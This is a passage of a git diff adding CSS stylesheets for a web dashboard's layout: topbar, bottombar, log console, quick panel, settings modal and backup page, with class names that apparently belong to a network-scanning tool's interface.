+} + +.vuln-container.page-with-sidebar { + --page-sidebar-w: 300px; +} + +.vuln-container.page-with-sidebar .vuln-sidebar { + min-height: 0; +} + +.vuln-container.page-with-sidebar .vuln-main { + min-width: 0; + display: flex; + flex-direction: column; + gap: 10px; +} + +.vuln-container.page-with-sidebar .vuln-main .vuln-controls { + margin-bottom: 0; +} + +.vuln-container.page-with-sidebar .vuln-main .vuln-severity-bar { + margin-bottom: 0; +} + +.vuln-container.page-with-sidebar .vuln-main .services-grid { + max-height: none; + min-height: 280px; +} + +.vuln-container.page-with-sidebar .stats-header { + display: grid; + gap: 10px; +} + +.zombieland-container .zl-search-clear { + border: 1px solid var(--_border); + border-radius: 8px; + background: var(--_panel-lo); + color: var(--muted); + padding: 6px 8px; + cursor: pointer; +} + +.zombieland-container .zl-search-clear:hover { + color: var(--_ink); +} + +.zombieland-container .zl-btn-start { + color: color-mix(in oklab, var(--ok) 80%, var(--_ink)); +} + +.zombieland-container .zl-btn-stop { + color: color-mix(in oklab, var(--danger) 80%, var(--_ink)); +} + +.zombieland-container .zl-pill { + display: inline-flex; + align-items: center; + padding: 2px 8px; + border-radius: 999px; + border: 1px solid var(--_border); + background: var(--_panel-hi); + color: var(--muted); + font-size: 12px; +} + +.zombieland-container .zl-info-value { + color: var(--_ink); + font-size: 12px; +} + +.zombieland-container .zl-log-line { + display: grid; + grid-template-columns: auto auto 1fr; + gap: 8px; + margin-bottom: 6px; + font: var(--font-mono); +} + +.zombieland-container .zl-log-text { + word-break: break-word; +} + +.bjorn-container .bjorn-epd-img { + image-rendering: auto; + border-radius: 10px; + box-shadow: var(--shadow); +} + +/* ===== BACKUP PAGE (NEW SPA LAYOUT) ===== */ +.page-backup { + padding: 10px; +} + +.page-backup .backup-layout { + display: grid; + grid-template-columns: minmax(240px, 300px) 1fr; + gap: 12px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); +} + +.page-backup .backup-sidebar, +.page-backup .backup-main { + border: 1px solid var(--c-border); + border-radius: 12px; + background: var(--grad-card); + box-shadow: var(--shadow); +} + +.page-backup .backup-sidebar { + padding: 12px; + display: grid; + align-content: start; + gap: 10px; +} + +.page-backup .backup-sidehead { + border-bottom: 1px dashed var(--c-border); + padding-bottom: 8px; +} + +.page-backup .backup-side-title { + margin: 0; + color: var(--acid); + font-size: 14px; + letter-spacing: .04em; + text-transform: uppercase; +} + +.page-backup .backup-nav-item { + width: 100%; + border: 1px solid var(--c-border); + border-radius: 12px; + background: color-mix(in oklab, var(--panel) 88%, transparent); + color: var(--ink); + display: flex; + align-items: center; + gap: 10px; + padding: 10px; + cursor: pointer; + transition: .18s; + text-align: left; +} + +.page-backup .backup-nav-item:hover { + transform: translateY(-1px); + box-shadow: var(--shadow); +} + +.page-backup .backup-nav-item.active { + border-color: color-mix(in oklab, var(--acid) 45%, var(--c-border)); + box-shadow: inset 0 0 0 1px color-mix(in oklab, var(--acid-2) 30%, transparent); +} + +.page-backup .backup-nav-icon { + width: 42px; + height: 42px; + object-fit: contain; + border-radius: 8px; + background: rgba(0, 0, 0, .2); +} + +.page-backup .backup-nav-label { + font-weight: 700; + letter-spacing: .01em; +} + +.page-backup .backup-main { + padding: 14px; + overflow: auto; +} + +.page-backup .backup-title { + margin: 0 0 12px 0; +} + +.page-backup .backup-form { + margin-bottom: 14px; +} + +.page-backup .backup-label { + display: block; + margin-bottom: 8px; + color: var(--muted); +} + +.page-backup .backup-form-row { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.page-backup .backup-input { + flex: 1; + min-width: 220px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + padding: 10px 12px; +} + +.page-backup .backup-subtitle { + margin: 10px 0; + color: var(--muted); + font-size: 13px; + text-transform: uppercase; + letter-spacing: .03em; +} + +.page-backup .backup-table-wrap { + overflow: auto; + border: 1px solid var(--c-border); + border-radius: 12px; +} + +.page-backup .backup-table { + width: 100%; + border-collapse: collapse; +} + +.page-backup .backup-table th, +.page-backup .backup-table td { + padding: 10px; + border-bottom: 1px dashed var(--c-border); + text-align: left; + vertical-align: top; +} + +.page-backup .backup-row-actions { + display: flex; + gap: 6px; + flex-wrap: wrap; +} + +.page-backup .backup-default-pill { + margin-left: 8px; +} + +.page-backup .backup-empty { + padding: 22px; + text-align: center; + color: var(--muted); +} + +.page-backup .backup-update-message { + background: color-mix(in oklab, var(--ok) 18%, transparent); + border: 1px solid color-mix(in oklab, var(--ok) 40%, var(--c-border)); + border-radius: 999px; + padding: 10px 14px; + display: inline-block; + margin-bottom: 12px; +} + +.page-backup .backup-version-lines { + display: grid; + gap: 4px; +} + +.page-backup .backup-update-available { + color: var(--acid); + font-weight: 700; +} + +.page-backup .backup-update-ok { + color: var(--ok); + font-weight: 700; +} + +.page-backup .backup-update-actions { + display: flex; + gap: 8px; + flex-wrap: wrap; +} + +.page-backup .backup-modal-overlay { + position: fixed; + inset: 0; + z-index: 1200; + background: rgba(0, 0, 0, .6); + display: none; + align-items: center; + justify-content: center; + padding: 10px; +} + +.page-backup .backup-modal { + width: min(480px, 95vw); + background: var(--grad-card); + border: 1px solid var(--c-border); + border-radius: 14px; + padding: 12px; + box-shadow: var(--shadow-hover); +} + +.page-backup .backup-modal-head { + display: flex; + align-items: center; + gap: 8px; + justify-content: space-between; +} + +.page-backup .backup-modal-title { + margin: 0; +} + +.page-backup .backup-modal-help { + color: var(--muted); + margin: 8px 0 10px 0; +} + +.page-backup .backup-keep { + display: flex; + gap: 8px; + align-items: center; + padding: 4px 0; +} + +.page-backup .backup-modal-actions { + display: flex; + justify-content: flex-end; + gap: 8px; + margin-top: 12px; + padding-top: 10px; + border-top: 1px dashed var(--c-border); +} + +.page-backup .backup-loading-overlay { + position: fixed; + inset: 0; + z-index: 1300; + background: rgba(0, 0, 0, .6); + display: none; + align-items: center; + justify-content: center; +} + +.page-backup .backup-spinner { + width: 52px; + height: 52px; + border: 4px solid transparent; + border-top-color: var(--accent-2); + border-right-color: var(--accent-2); + border-radius: 50%; + animation: bak-spin .9s linear infinite; +} + +.page-backup.page-with-sidebar { + --page-sidebar-w: 300px; + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 24px); +} + +.page-backup.page-with-sidebar .backup-sidebar { + padding: 12px; + display: grid; + align-content: start; + gap: 10px; + min-height: 0; +} + +.page-backup.page-with-sidebar .backup-main { + min-width: 0; + min-height: 0; +} + +/* ===== STUDIO RUNTIME HOST ===== */ +.studio-container.studio-runtime-host { + min-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); + height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 60px) - 12px); +} + +.studio-container.studio-runtime-host #app { + height: 100%; + min-height: 100%; + display: grid; + grid-template-rows: auto minmax(0, 1fr) auto; +} + +.studio-container.studio-runtime-host main { + min-height: 0; +} + +.studio-container.studio-runtime-host #left, +.studio-container.studio-runtime-host #center, +.studio-container.studio-runtime-host #right { + min-height: 0; + height: 100%; +} + +@media (max-width:1100px) { + + .studio-container.studio-runtime-host #left, + .studio-container.studio-runtime-host #right { + top: calc(var(--h-topbar, 56px) + var(--studio-header-h, 52px) + 8px); + } +} + +.studio-container .studio-loading { + padding: 14px; + color: var(--muted); + text-align: center; + border: 1px dashed var(--c-border); + border-radius: 10px; + margin: 12px; +} + +@media (max-width: 900px) { + .page-backup .backup-layout { + grid-template-columns: 1fr; + min-height: auto; + } + + .page-backup .backup-sidebar { + grid-template-columns: 1fr 1fr; + } + + .page-backup .backup-sidehead { + grid-column: 1 / -1; + } + + .page-backup.page-with-sidebar .backup-sidebar { + grid-template-columns: 1fr 1fr; + } + + .page-backup.page-with-sidebar .backup-sidehead { + grid-column: 1 / -1; + } +} \ No newline at end of file diff --git a/web/css/shell.css b/web/css/shell.css new file mode 100644 index 0000000..ae900b7 --- /dev/null +++ b/web/css/shell.css @@ -0,0 +1,2174 @@ +/* ====================================================================== + Shell CSS — SPA layout: topbar, bottombar, page container, overlays. + Consumes tokens from global.css (imported separately). + ====================================================================== */ + +/* ---- Reset & base ---- */ +*, +*::before, +*::after { + box-sizing: border-box; + margin: 0; + padding: 0; +} + +html, +body { + background: var(--bg, #050709); + color: var(--ink, #e6fff7); + font: var(--font-mono, 14px/1.5 ui-monospace, SFMono-Regular, Menlo, Consolas, "Liberation Mono", monospace); + min-height: 100vh; + overflow-x: hidden; +} + +/* ---- Topbar ---- */ +.topbar { + position: fixed; + top: 0; + left: 0; + right: 0; + height: var(--h-topbar, 56px); + z-index: 100; + display: flex; + align-items: center; + gap: 8px; + padding: 0 12px; + background: var(--grad-topbar, linear-gradient(#0c1118, #0a0e14)); + border-bottom: 1px solid var(--c-border, #00ffff22); + box-shadow: 0 2px 12px rgba(0, 0, 0, .3); +} + +.topbar .logo { + display: flex; + align-items: center; + gap: 8px; + cursor: pointer; + font-weight: 800; + color: var(--acid, #00ff9a); + letter-spacing: 0.08em; + user-select: none; +} + +.topbar .logo .sig { + width: 28px; + height: 28px; + border-radius: 6px; +} + +.topbar .spacer { + flex: 1; +} + +.topbar .btn { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 6px 12px; + background: var(--c-btn, #0f1919); + border: 1px solid var(--c-border, #00ffff22); + border-radius: var(--control-r, 10px); + color: var(--ink, #e6fff7); + font-size: 13px; + font-weight: 600; + cursor: pointer; + transition: all 0.2s ease; +} + +.topbar .btn:hover { + border-color: var(--c-border-strong, #00ffff33); + box-shadow: 0 0 8px var(--glow-weak, rgba(0, 255, 154, 0.1)); +} + +/* ---- Lang selector ---- */ +.lang-select { + display: flex; + align-items: center; +} + +.lang-selector { + background: var(--c-panel, #0b1218); + border: 1px solid var(--c-border, #00ffff22); + border-radius: var(--control-r, 10px); + color: var(--ink, #e6fff7); + padding: 4px 8px; + font-size: 12px; + cursor: pointer; +} + +/* ---- Main page container ---- */ +.app-container { + position: fixed; + top: var(--h-topbar, 56px); + bottom: var(--h-bottombar, 56px); + left: 0; + right: 0; + overflow-y: auto; + overflow-x: hidden; + padding: 12px; + scroll-behavior: smooth; +} + +/* When the console is anchored, reserve space so the app doesn't sit under it. */ +body.console-docked .app-container { + bottom: calc(var(--h-bottombar, 56px) + var(--console-dock-h, 0px)); +} + +.app-container[aria-busy="true"]::after { + content: ''; + display: block; + width: 40px; + height: 40px; + margin: 80px auto; + border: 3px solid var(--c-border-strong, #00ffff33); + border-top-color: var(--acid, #00ff9a); + border-radius: 50%; + animation: spin 0.8s linear infinite; +} + +@keyframes spin { + to { + transform: rotate(360deg); + } +} + +/* ---- Bottombar ---- */ +.bottombar { + position: fixed; + bottom: 0; + left: 0; + right: 0; + height: var(--h-bottombar, 56px); + z-index: 100; + display: grid; + grid-template-columns: 1fr auto 1fr; + align-items: center; + padding: 0 5px; + background: var(--grad-bottombar, linear-gradient(#0a0e14, #091017)); + border-top: 1px solid var(--c-border, #00ffff22); + box-shadow: 0 -2px 12px rgba(0, 0, 0, .3); +} + +.status-left { + display: grid; + grid-template-columns: auto 1fr; + align-items: center; + column-gap: 10px; + overflow: hidden; +} + +.status-left img { + width: 40px; + height: 40px; + border-radius: 6px; + background: #222; +} + +.status-text { + overflow: hidden; +} + +.bjorn-status { + font-weight: 700; + font-size: 13px; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + color: var(--acid, #00ff9a); +} + +.bjorn-status2 { + font-size: 11px; + color: var(--muted, #8affc1cc); + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; +} + +.status-center { + display: flex; + align-items: center; + justify-content: center; + justify-self: center; + position: relative; +} + +.status-center img { + + cursor: pointer; +} + +.status-character { + display: flex; + align-items: center; + justify-content: center; +} + +.status-right { + display: flex; + justify-content: flex-end; + align-items: center; + overflow: hidden; +} + + +.bjorn-progress { + margin-top: 2px; + display: flex; + align-items: center; + gap: 6px; + font-size: 11px; + color: var(--muted, #8affff); +} + +.bjorn-progress-bar { + width: 64px; + height: 6px; + background: #0c1a1f; + border-radius: 3px; + overflow: hidden; + position: relative; +} + +.bjorn-progress-bar::after { + content: ''; + position: absolute; + inset: 0; + width: var(--progress, 0%); + background: linear-gradient(90deg, #00ffff, #00ffaa); + transition: width .3s ease; +} + +.bjorn-progress-text { + min-width: 36px; + text-align: right; +} + + +.bjorn-say { + font-size: 12px; + color: var(--muted, #8affc1cc); + font-style: italic; + white-space: nowrap; + overflow: hidden; + text-overflow: ellipsis; + max-width: 260px; +} + + +#bjornSay { + white-space: normal; + /* autorise le retour à la ligne */ + word-break: break-word; + line-height: 1.25; + + display: flex; + align-items: center; + /* centre verticalement dans la bottombar */ + height: 100%; + + text-align: right; + max-width: 240px; + /* évite qu’il déborde vers le centre */ +} + +/* ---- Console panel (matches old global.css console) ---- */ +.console { + position: fixed; + left: 1px; + right: 10px; + bottom: var(--h-bottombar, 56px); + height: 48vh; + background: var(--grad-console, linear-gradient(180deg, #071018, #05090f)); + border: 1px solid var(--c-border-hi, #00ffff44); + border-radius: 14px 14px 12px 12px; + box-shadow: 0 -30px 80px var(--glow-strong, #00ff9a33), inset 0 0 0 1px var(--glow-mid, #00ff9a22); + z-index: 60; + display: grid; + grid-template-rows: 8px auto auto 1fr; + transform: translateY(100%); + transition: transform .25s ease; +} + +.console.open { + transform: translateY(0); +} + +.console-resize { + position: sticky; + top: 0; + left: 0; + right: 0; + height: 8px; + cursor: ns-resize; + background: var(--resize-stripe, linear-gradient(90deg, transparent 0 40%, #00ff9a33 40% 60%, transparent 60% 100%)); + border-radius: 14px 14px 0 0; + z-index: 5; +} + +.console-head { + display: flex; + align-items: center; + gap: 8px; + flex-wrap: wrap; + padding: 8px 10px; +} + +.console-body { + overflow: auto; + padding: 0 4px 4px 4px; +} + +.console-body .logline { + white-space: pre-wrap; + word-break: break-word; + overflow-wrap: break-word; + border-bottom: 1px dashed var(--c-border-muted, #00ffff11); + padding: 6px 4px; +} + +/* Console log level severity badges */ +.console-body .loglvl { + display: inline-block; + padding: 2px 8px; + border-radius: 999px; + font-weight: 700; + font-size: 12px; + line-height: 1; + border: 1px solid transparent; + vertical-align: baseline; +} + +.console-body .loglvl.debug { + background: linear-gradient(180deg, var(--lvl-debug-top), var(--lvl-debug-bot)); + color: var(--lvl-debug-ink); + border-color: var(--lvl-debug-bdr); +} + +.console-body .loglvl.info { + background: linear-gradient(180deg, var(--lvl-info-top), var(--lvl-info-bot)); + color: var(--lvl-info-ink); + border-color: var(--lvl-info-bdr); +} + +.console-body .loglvl.warning { + background: linear-gradient(180deg, var(--lvl-warn-top), var(--lvl-warn-bot)); + color: var(--lvl-warn-ink); + border-color: var(--lvl-warn-bdr); +} + +.console-body .loglvl.error { + background: linear-gradient(180deg, var(--lvl-error-top), var(--lvl-error-bot)); + color: var(--lvl-error-ink); + border-color: var(--lvl-error-bdr); +} + +.console-body .loglvl.critical { + background: linear-gradient(180deg, var(--lvl-crit-top), var(--lvl-crit-bot)); + color: var(--lvl-crit-ink); + border-color: var(--lvl-crit-bdr); +} + +.console-body .loglvl.success { + background: linear-gradient(180deg, var(--lvl-succ-top), var(--lvl-succ-bot)); + color: var(--lvl-succ-ink); + border-color: var(--lvl-succ-bdr); +} + +.console-body .loglvl.failed { + background: linear-gradient(180deg, var(--lvl-fail-top), var(--lvl-fail-bot)); + color: var(--lvl-fail-ink); + border-color: var(--lvl-fail-bdr); +} + +.console-body .loglvl.connected { + background: linear-gradient(180deg, var(--lvl-conn-top), var(--lvl-conn-bot)); + color: var(--lvl-conn-ink); + border-color: var(--lvl-conn-bdr); +} + +.console-body .loglvl.sseclosed { + background: linear-gradient(180deg, var(--lvl-sse-top), var(--lvl-sse-bot)); + color: var(--lvl-sse-ink); + border-color: var(--lvl-sse-bdr); +} + +/* File-badge with hue token */ +.console-body .logfile { + display: inline-block; + padding: 2px 8px; + border-radius: 999px; + background: linear-gradient(180deg, hsla(var(--h), 80%, 25%, .28), hsla(var(--h), 80%, 18%, .38)); + border: 1px solid hsla(var(--h), 95%, 55%, .55); + color: hsla(var(--h), 95%, 78%, .95); + box-shadow: 0 0 0 1px hsla(var(--h), 95%, 55%, .18) inset, 0 8px 22px hsla(var(--h), 95%, 55%, .10); + white-space: nowrap; +} + +/* Console font slider row */ +.console-fontrow { + flex-basis: 100%; + display: flex; + justify-content: flex-end; + align-items: center; + padding-top: 2px; + margin-top: 2px; +} + +.console-fontrow input[type="range"] { + width: -webkit-fill-available; + height: 2px; + border-radius: 999px; + outline: 0; + -webkit-appearance: none; + appearance: none; + background: linear-gradient(var(--acid, #00ff9a), var(--acid, #00ff9a)) 0/50% 100% no-repeat, rgba(255, 255, 255, .08); +} + +.console-fontrow input[type="range"]::-webkit-slider-thumb { + -webkit-appearance: none; + appearance: none; + width: 10px; + height: 10px; + border-radius: 50%; + background: var(--acid, #00ff9a); + box-shadow: 0 0 8px var(--acid, #00ff9a); + margin-top: -4px; +} + +.console-fontrow input[type="range"]::-moz-range-thumb { + width: 10px; + height: 10px; + border-radius: 50%; + background: var(--acid, #00ff9a); + box-shadow: 0 0 8px var(--acid, #00ff9a); + border: 0; +} + +/* Console font follow (body + badges follow --console-font) */ +#console .console-body, +#console #logout { + font-size: var(--console-font, 12px); + line-height: 1.3; +} + +#console .loglvl { + font-size: 0.92em; + line-height: 1; + padding: .15em .55em; + border-radius: .8em; + display: inline; + vertical-align: baseline; +} + +#console .logfile, +#console .number, +#console .line-number { + font-size: 1em; +} + +@media (max-width: 768px) { + .console-body { + overflow-x: hidden; + } + + .console-body .logline { + white-space: pre-wrap; + word-break: break-all; + overflow-wrap: break-word; + } +} + +/* Attack bar (hidden until .with-attack) */ +.attackbar { + display: none; + gap: 8px; + padding: 8px 10px; + align-items: center; + border-bottom: 1px dashed var(--c-border-strong, #00ffff33); + background: var(--overlay-solid, rgba(7, 16, 24, .92)); + backdrop-filter: blur(4px); +} + +.console.with-attack .attackbar { + display: flex; +} + +.attackbar select, +.attackbar input { + height: 34px; + line-height: 34px; + background: var(--c-panel); + color: var(--ink); + border: 1px solid var(--c-border-strong); + border-radius: 10px; + padding: 0 10px; + min-width: 120px; +} + +.attackbar input { + min-width: 180px; +} + +.attackbar .btn { + height: 34px; + display: inline-flex; + align-items: center; + justify-content: center; + padding: 0 12px; + border-radius: 10px; +} + +/* Mode pill */ +.mode-pill { + display: inline-flex; + align-items: center; + gap: 6px; + padding: 4px 10px; + border-radius: 999px; + border: 1px solid; + font-size: 12px; + line-height: 1; + font-weight: 600; + letter-spacing: .2px; + -webkit-user-select: none; + user-select: none; +} + +.mode-pill .dot { + width: 8px; + height: 8px; + border-radius: 50%; +} + +.mode-pill.auto { + background: rgba(0, 255, 154, .15); + border-color: rgba(0, 255, 154, .45); + color: var(--acid, #00ff9a); +} + +.mode-pill.auto .dot { + background: var(--acid, #00ff9a); + box-shadow: 0 0 8px var(--acid, #00ff9a); +} + +.mode-pill.manual { + background: rgba(24, 144, 255, .15); + border-color: rgba(24, 144, 255, .45); + color: #57a9ff; +} + +.mode-pill.manual .dot { + background: #57a9ff; + box-shadow: 0 0 8px #57a9ff; +} + +.mode-pill.ai { + background: rgba(180, 0, 255, .15); + border-color: rgba(180, 0, 255, .45); + color: #d68aff; +} + +.mode-pill.ai .dot { + background: #d68aff; + box-shadow: 0 0 8px #d68aff; +} + +.console-scroll-btn { + position: absolute; + right: 12px; + bottom: 14px; + width: 28px; + height: 28px; + border-radius: 999px; + border: 1px solid var(--c-border-strong); + background: color-mix(in oklab, var(--c-panel) 90%, transparent); + color: var(--ink); + cursor: pointer; + z-index: 3; +} + +.console-buffer-badge { + position: absolute; + right: 46px; + bottom: 18px; + min-width: 18px; + height: 18px; + padding: 0 5px; + border-radius: 999px; + display: inline-flex; + align-items: center; + justify-content: center; + font-size: 11px; + font-weight: 700; + background: var(--acid); + color: #001014; + z-index: 3; +} + +.console-scroll-btn.hidden, +.console-buffer-badge.hidden { + display: none; +} + +.console-dock-btn { + min-width: 44px; + padding: 0 10px; +} + +.console-dock-btn.on { + border-color: rgba(0, 255, 154, .55); + box-shadow: 0 0 0 1px rgba(0, 255, 154, .18) inset, 0 0 14px rgba(0, 255, 154, .18); +} + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + margin: -1px; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + border: 0; +} + +/* ---- QuickPanel ---- */ +.quickpanel { + position: fixed; + left: 0; + right: 0; + top: var(--h-topbar, 56px); + height: var(--qp-h, 80vh); + max-height: calc(100vh - var(--h-topbar, 56px) - var(--h-bottombar, 56px)); + width: min(720px, 92vw); + margin: 0 auto; + background: var(--grad-quickpanel, linear-gradient(180deg, #09111a, #050a0f)); + border: 1px solid var(--c-border-strong, #00ffff33); + border-top: none; + border-radius: 0 0 24px 24px; + box-shadow: var(--shadow); + z-index: 65; + transform: translateY(calc(-1 * var(--qp-h, 80vh) - var(--h-topbar, 56px) - var(--qp-overshoot, 60px))); + opacity: 0; + visibility: hidden; + pointer-events: none; + transition: transform .35s cubic-bezier(.4, 0, .2, 1), opacity .2s ease, visibility 0s linear .2s; + overflow-y: auto; + overscroll-behavior: contain; +} + +.quickpanel.open { + transform: translateY(0); + opacity: 1; + visibility: visible; + pointer-events: auto; + transition: transform .35s cubic-bezier(.4, 0, .2, 1), opacity .2s ease, visibility 0s; +} + +.quickpanel:not(.open) { + box-shadow: none !important; + border-color: transparent !important; +} + +@media (max-width:768px) { + .quickpanel { + --qp-h: 70vh; + } +} + +.grip { + position: absolute; + left: 50%; + transform: translateX(-50%); + top: 6px; + width: 88px; + height: 6px; + border-radius: 99px; + background: color-mix(in oklab, var(--acid) 30%, transparent); + box-shadow: 0 0 12px color-mix(in oklab, var(--acid) 50%, transparent); +} + +.qp-header { + display: flex; + align-items: center; + justify-content: space-between; +} + +.qp-head-left { + display: flex; + flex-direction: column; + gap: 4px; +} + +.qp-close { + width: 32px; + height: 32px; + display: inline-flex; + align-items: center; + justify-content: center; + border-radius: 8px; + cursor: pointer; + background: var(--white-06); + border: 1px solid var(--white-12); + color: var(--ink); + transition: transform .15s ease, background .15s ease; +} + +.qp-close:hover { + background: var(--white-10); + border-color: var(--white-20); +} + +.qp-close:active { + transform: scale(.96); +} + +/* QuickPanel rows & signal */ +.qprow { + display: grid; + gap: 10px; + padding: 10px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--grad-qprow); + margin-bottom: 6px; +} + +.sig { + display: inline-grid; + grid-auto-flow: column; + gap: 2px; + align-items: end; +} + +.sig i { + width: 4px; + height: 6px; + display: block; + background: var(--c-slot); + border: 1px solid var(--c-border); + border-bottom: none; + border-radius: 2px 2px 0 0; +} + +.sig i.on { + background: var(--acid); +} + +.btlist .qprow { + grid-template-columns: 1fr auto; +} + +.bt-device { + display: flex; + align-items: center; + gap: 10px; +} + +.bt-type { + color: var(--muted); + font-size: 12px; +} + +/* ---- Actions Dropdown ---- */ +.actions { + position: relative; + z-index: 140; +} + +.dropdown { + position: absolute; + right: 0; + top: 48px; + min-width: 320px; + background: var(--grad-dropdown, linear-gradient(180deg, #0a1116, #05090f)); + border: 1px solid var(--c-border-strong); + border-radius: 12px; + box-shadow: 0 20px 60px var(--glow-strong); + display: none; + z-index: 130; + overflow: hidden; +} + +.dropdown.show { + display: block; +} + +.dropdown.open { + display: block; +} + +.menuitem { + display: flex; + align-items: center; + gap: 10px; + padding: 10px 12px; + cursor: pointer; + border-bottom: 1px dashed var(--c-border); +} + +.menuitem:last-child { + border-bottom: none; +} + +.menuitem:hover { + background: var(--c-panel); +} + +.menuitem .mi-icon { + width: 16px; +} + +#actionsMenu .dropdown-item { + display: flex; + width: 100%; + text-align: left; + align-items: center; + gap: 10px; + padding: 10px 12px; + cursor: pointer; + border: 0; + color: var(--ink); + border-bottom: 1px dashed var(--c-border); + background: transparent; +} + +#actionsMenu .dropdown-item:last-child { + border-bottom: none; +} + +#actionsMenu .dropdown-item:hover, +#actionsMenu .dropdown-item:focus-visible { + background: var(--c-panel); + outline: none; +} + +#actionsMenu.dropdown { + right: auto; + min-width: 320px; + max-width: min(92vw, 920px); + max-height: calc(100dvh - var(--h-topbar) - var(--h-bottombar) - 16px); + overflow: auto; + -webkit-overflow-scrolling: touch; + overscroll-behavior: contain; + z-index: 131; +} + +@media (max-width:700px) { + #actionsMenu.dropdown { + right: auto; + min-width: min(92vw, 360px); + width: min(92vw, 360px); + max-width: 92vw; + z-index: 180; + max-height: calc(100dvh - var(--h-topbar) - var(--h-bottombar) - 12px); + } + + .dropdown { + top: 44px; + min-width: 320px; + } +} + +/* ---- Settings modal (tabs) ---- */ +.modal-backdrop#settingsBackdrop { + background: var(--backdrop-dim); +} + +#settingsBackdrop.live { + --backdrop-dim: transparent; + backdrop-filter: none !important; + -webkit-backdrop-filter: none !important; +} + +#settingsBackdrop.modal-backdrop { + z-index: 90 !important; +} + +#settingsBackdrop .modal { + z-index: 91 !important; +} + +.modal-backdrop { + position: fixed; + inset: 0; + background: var(--glass-8); + display: none; + align-items: center; + justify-content: center; + z-index: 60; +} + +.modal-backdrop.show { + display: flex; +} + +.modal { + width: min(900px, 96vw); + max-height: 86vh; + background: var(--grad-modal, linear-gradient(180deg, #0a1016, #05080c)); + border: 1px solid var(--c-border-strong); + border-radius: 16px; + box-shadow: 0 40px 120px var(--glow-strong), inset 0 0 0 1px var(--glow-strong); + display: grid; + grid-template-columns: 220px 1fr; + overflow: hidden; +} + +.modal.show { + animation: pop .2s ease; +} + +@keyframes pop { + from { + transform: scale(.96); + opacity: 0; + } + + to { + transform: scale(1); + opacity: 1; + } +} + +.tabs { + border-right: 1px dashed var(--c-border-strong); + padding: 10px; + overflow: auto; +} + +.tabbtn { + display: block; + width: 100%; + text-align: left; + padding: 10px 12px; + margin: 6px 0; + border: 1px solid var(--c-border); + border-radius: 10px; + background: var(--c-panel); + color: var(--ink); + cursor: pointer; +} + +.tabbtn.active { + background: var(--grad-chip-selected); + outline: 2px solid color-mix(in oklab, var(--acid) 55%, transparent); +} + +.tabpanel { + padding: 16px; + overflow: auto; +} + +.row { + display: flex; + gap: 10px; + align-items: center; + margin: 6px 0; +} + +/* Settings Config tab */ +.cfg-toolbar { + display: flex; + gap: 8px; + align-items: center; + justify-content: flex-end; + margin-bottom: 10px; + flex-wrap: wrap; +} + +.cfg-host { + display: grid; + gap: 10px; + max-height: 56vh; + overflow: auto; + padding-right: 4px; +} + +.cfg-cards-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); + gap: 10px; +} + +.cfg-card .head { + margin-bottom: 6px; +} + +.cfg-card .title { + font-size: 15px; +} + +.cfg-card-body { + display: grid; + gap: 8px; +} + +.cfg-field { + display: grid; + gap: 6px; + padding: 8px; + border: 1px solid var(--c-border); + border-radius: 10px; + background: color-mix(in oklab, var(--c-panel) 84%, transparent); +} + +.cfg-field>label { + font-size: 12px; + font-weight: 700; + color: var(--muted); +} + +.cfg-toggle-row { + grid-template-columns: 1fr auto; + align-items: center; +} + +.cfg-toggle-row>label { + font-size: 13px; + color: var(--ink); + font-weight: 600; +} + +.cfg-toggle-row .switch { + width: 48px; + height: 26px; + position: relative; + display: inline-block; + border-radius: 999px; + border: 1px solid var(--c-border-hi); + background: var(--switch-track); + cursor: pointer; +} + +.cfg-toggle-row .switch input { + display: none; +} + +.cfg-toggle-row .switch .slider { + position: absolute; + top: 2px; + left: 2px; + width: 20px; + height: 20px; + border-radius: 50%; + background: var(--switch-thumb); + box-shadow: 0 0 8px rgba(0, 0, 0, .35); + transition: transform .18s ease, background .18s ease; +} + +.cfg-toggle-row .switch input:checked+.slider { + transform: translateX(22px); + background: var(--acid); + box-shadow: 0 0 10px var(--acid); +} + +.cfg-number { + display: grid; + grid-template-columns: auto 1fr auto; + gap: 8px; + align-items: center; +} + +.cfg-number .cfg-number-input { + text-align: center; + min-width: 84px; +} + +.cfg-range { + width: 100%; + height: 2px; + border-radius: 999px; + outline: 0; + -webkit-appearance: none; + appearance: none; + background: linear-gradient(var(--acid), var(--acid)) 0/50% 100% no-repeat, rgba(255, 255, 255, .08); +} + +.cfg-range::-webkit-slider-thumb { + -webkit-appearance: none; + appearance: none; + width: 10px; + height: 10px; + border-radius: 50%; + background: var(--acid); + box-shadow: 0 0 8px var(--acid); + margin-top: -4px; +} + +.cfg-range::-moz-range-thumb { + width: 10px; + height: 10px; + border-radius: 50%; + background: var(--acid); + box-shadow: 0 0 8px var(--acid); + border: 0; +} + +.cfg-chip-list { + display: flex; + flex-wrap: wrap; + gap: 6px; + min-height: 26px; +} + +.cfg-chip { + display: inline-flex; + align-items: center; + gap: 6px; + border: 1px solid var(--c-border-strong); + border-radius: 999px; + background: var(--c-chip-bg); + color: var(--ink); + padding: 2px 8px; + font-size: 12px; +} + +.cfg-chip-close { + border: 0; + background: transparent; + color: var(--muted); + cursor: pointer; + font-size: 14px; + line-height: 1; +} + +.cfg-chip-input .input { + width: 100%; +} + +/* Inline switch (modal lists) */ +.switch { + position: relative; + width: 46px; + height: 26px; + background: var(--switch-track); + border: 1px solid var(--c-border-hi); + border-radius: 99px; + cursor: pointer; + box-shadow: inset 0 0 0 1px var(--glow-mid); +} + +.switch::after { + content: ""; + position: absolute; + top: 2px; + left: 2px; + width: 22px; + height: 22px; + background: var(--switch-thumb); + border-radius: 50%; + box-shadow: 0 0 10px var(--acid); + transition: .18s; +} + +.switch.on { + background: var(--switch-on-bg); +} + +.switch.on::after { + transform: translateX(20px); +} + +/* Sheet (WiFi/BT dialogs) */ +.sheet-backdrop { + position: fixed; + inset: 0; + background: var(--glass-8); + display: none; + align-items: center; + justify-content: center; + z-index: 75; +} + 